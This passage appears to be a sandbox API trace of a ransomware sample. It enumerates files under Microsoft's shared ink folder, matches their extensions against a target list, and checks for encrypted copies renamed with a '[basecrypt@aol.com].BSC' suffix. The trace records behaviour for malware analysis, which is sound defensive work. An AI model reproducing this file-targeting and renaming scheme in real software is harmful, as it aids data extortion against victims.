shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.513] lstrlenW (lpString=".doc") returned 4 [0109.513] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString=".docx") returned 5 [0109.513] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0109.513] lstrlenW (lpString=".pdf") returned 4 [0109.513] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString=".xls") returned 4 [0109.513] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString=".xlsx") returned 5 [0109.513] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0109.513] lstrlenW (lpString=".ppt") returned 4 [0109.513] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.513] lstrlenW (lpString=".zip") returned 4 [0109.513] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString=".rar") returned 4 [0109.513] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString=".bz2") returned 4 [0109.513] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString=".7z") returned 3 [0109.513] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.513] lstrlenW (lpString=".dbf") returned 4 [0109.513] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.513] lstrlenW (lpString=".1cd") returned 4 [0109.513] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.514] lstrlenW (lpString=".jpg") returned 4 [0109.514] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.514] lstrlenW (lpString=".doc") returned 4 [0109.514] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString=".docx") returned 5 [0109.514] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0109.514] lstrlenW (lpString=".pdf") returned 4 [0109.514] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString=".xls") returned 4 [0109.514] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString=".xlsx") returned 5 [0109.514] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0109.514] lstrlenW (lpString=".ppt") returned 4 [0109.514] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.514] lstrlenW (lpString=".zip") returned 4 [0109.514] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString=".rar") returned 4 [0109.514] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString=".bz2") returned 4 [0109.514] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString=".7z") returned 3 [0109.514] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.514] lstrlenW (lpString=".dbf") returned 4 [0109.514] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.514] lstrlenW (lpString=".1cd") returned 4 [0109.514] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.514] lstrlenW (lpString=".jpg") returned 4 [0109.515] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.515] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0109.515] lstrlenW (lpString="auxbase.xml") returned 11 [0109.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.981] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=1434) returned 1 [0109.981] CloseHandle (hObject=0x340) returned 1 [0109.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0109.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.981] lstrlenW (lpString=".doc") returned 4 [0109.981] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.981] lstrlenW (lpString=".docx") returned 5 [0109.981] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0109.982] lstrlenW (lpString=".pdf") returned 4 [0109.982] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.982] lstrlenW (lpString=".xls") returned 4 [0109.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.982] lstrlenW (lpString=".xlsx") returned 5 [0109.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0109.982] lstrlenW (lpString=".ppt") returned 4 [0109.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.982] lstrlenW (lpString=".zip") returned 4 [0109.982] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.982] lstrlenW (lpString=".rar") returned 4 [0109.982] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.982] lstrlenW (lpString=".bz2") returned 4 [0109.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.982] lstrlenW (lpString=".7z") returned 3 [0109.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.982] lstrlenW (lpString=".dbf") returned 4 [0109.982] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.982] lstrlenW (lpString=".1cd") returned 4 [0109.982] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.982] lstrlenW (lpString=".jpg") returned 4 [0109.982] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.983] lstrlenW (lpString=".doc") returned 4 [0109.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.983] lstrlenW (lpString=".docx") returned 5 [0109.983] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0109.983] lstrlenW (lpString=".pdf") returned 4 [0109.983] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.983] lstrlenW (lpString=".xls") returned 4 [0109.983] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.983] lstrlenW (lpString=".xlsx") returned 5 [0109.983] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0109.983] lstrlenW (lpString=".ppt") returned 4 [0109.983] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.983] lstrlenW (lpString=".zip") returned 4 [0109.983] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.983] lstrlenW (lpString=".rar") returned 4 [0109.983] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.983] lstrlenW (lpString=".bz2") returned 4 [0109.983] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.983] lstrlenW (lpString=".7z") returned 3 [0109.983] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.983] lstrlenW (lpString=".dbf") returned 4 [0109.983] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.984] lstrlenW (lpString=".1cd") returned 4 [0109.984] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0109.984] lstrlenW (lpString=".jpg") returned 4 [0109.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.984] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0109.984] lstrlenW (lpString="insert.xml") returned 10 [0109.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0109.999] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=215) returned 1 [0109.999] CloseHandle (hObject=0x358) returned 1 [0109.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0109.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0109.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0109.999] lstrlenW (lpString=".doc") returned 4 [0110.000] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.000] lstrlenW (lpString=".docx") returned 5 [0110.000] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0110.000] lstrlenW (lpString=".pdf") returned 4 [0110.000] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.000] lstrlenW (lpString=".xls") returned 4 [0110.000] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.000] lstrlenW (lpString=".xlsx") returned 5 [0110.000] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0110.000] lstrlenW (lpString=".ppt") returned 4 [0110.000] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.000] lstrlenW (lpString=".zip") returned 4 [0110.000] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.000] lstrlenW (lpString=".rar") returned 4 [0110.000] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.000] lstrlenW (lpString=".bz2") returned 4 [0110.000] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.000] lstrlenW (lpString=".7z") returned 3 [0110.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.001] lstrlenW (lpString=".dbf") returned 4 [0110.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.001] lstrlenW (lpString=".1cd") returned 4 [0110.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.001] lstrlenW (lpString=".jpg") returned 4 [0110.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.001] lstrlenW (lpString=".doc") returned 4 [0110.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.001] lstrlenW (lpString=".docx") returned 5 [0110.001] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0110.001] lstrlenW (lpString=".pdf") returned 4 [0110.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.001] lstrlenW (lpString=".xls") returned 4 [0110.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.001] lstrlenW (lpString=".xlsx") returned 5 [0110.001] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0110.001] lstrlenW (lpString=".ppt") returned 4 [0110.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.002] lstrlenW (lpString=".zip") returned 4 [0110.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.002] lstrlenW (lpString=".rar") returned 4 [0110.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.002] lstrlenW (lpString=".bz2") returned 4 [0110.002] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.002] lstrlenW (lpString=".7z") returned 3 [0110.002] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.002] lstrlenW (lpString=".dbf") returned 4 [0110.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.002] lstrlenW (lpString=".1cd") returned 4 [0110.002] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0110.002] lstrlenW (lpString=".jpg") returned 4 [0110.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.002] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.002] lstrlenW (lpString="ea.xml") returned 6 [0110.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.037] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=384) returned 1 [0110.037] CloseHandle (hObject=0x2f4) returned 1 [0110.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0110.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.037] lstrlenW (lpString=".doc") returned 4 [0110.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.037] lstrlenW (lpString=".docx") returned 5 [0110.037] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.037] lstrlenW (lpString=".pdf") returned 4 [0110.037] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString=".xls") returned 4 [0110.038] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString=".xlsx") returned 5 [0110.038] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.038] lstrlenW (lpString=".ppt") returned 4 [0110.038] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.038] lstrlenW (lpString=".zip") returned 4 [0110.038] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.038] lstrlenW (lpString=".rar") returned 4 [0110.038] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString=".bz2") returned 4 [0110.038] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString=".7z") returned 3 [0110.038] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.038] lstrlenW (lpString=".dbf") returned 4 [0110.038] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.038] lstrlenW (lpString=".1cd") returned 4 [0110.038] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.038] lstrlenW (lpString=".jpg") returned 4 [0110.038] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.039] lstrlenW (lpString=".doc") returned 4 [0110.039] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.039] lstrlenW (lpString=".docx") returned 5 [0110.039] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.039] lstrlenW (lpString=".pdf") returned 4 [0110.039] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.039] lstrlenW (lpString=".xls") returned 4 [0110.039] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.039] lstrlenW (lpString=".xlsx") returned 5 [0110.039] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.039] lstrlenW (lpString=".ppt") returned 4 [0110.039] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.039] lstrlenW (lpString=".zip") returned 4 [0110.039] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.039] lstrlenW (lpString=".rar") returned 4 [0110.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.039] lstrlenW (lpString=".bz2") returned 4 [0110.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.039] lstrlenW (lpString=".7z") returned 3 [0110.039] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.039] lstrlenW (lpString=".dbf") returned 4 [0110.039] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.039] lstrlenW (lpString=".1cd") returned 4 [0110.040] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0110.040] lstrlenW (lpString=".jpg") returned 4 [0110.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.040] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.040] lstrlenW (lpString="kor-kor.xml") returned 11 [0110.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.903] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=392) returned 1 [0110.903] CloseHandle (hObject=0x2f4) returned 1 [0110.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0110.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.904] lstrlenW (lpString=".doc") returned 4 [0110.904] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.904] lstrlenW (lpString=".docx") returned 5 [0110.904] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.904] lstrlenW (lpString=".pdf") returned 4 [0110.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.904] lstrlenW (lpString=".xls") returned 4 [0110.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.904] lstrlenW (lpString=".xlsx") returned 5 [0110.904] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.904] lstrlenW (lpString=".ppt") returned 4 [0110.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.904] lstrlenW (lpString=".zip") returned 4 [0110.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.904] lstrlenW (lpString=".rar") returned 4 [0110.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.904] lstrlenW (lpString=".bz2") returned 4 [0110.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.904] lstrlenW (lpString=".7z") returned 3 [0110.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.905] lstrlenW (lpString=".dbf") returned 4 [0110.905] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.905] lstrlenW (lpString=".1cd") returned 4 [0110.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.905] lstrlenW (lpString=".jpg") returned 4 [0110.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.905] lstrlenW (lpString=".doc") returned 4 [0110.905] lstrcmpiW 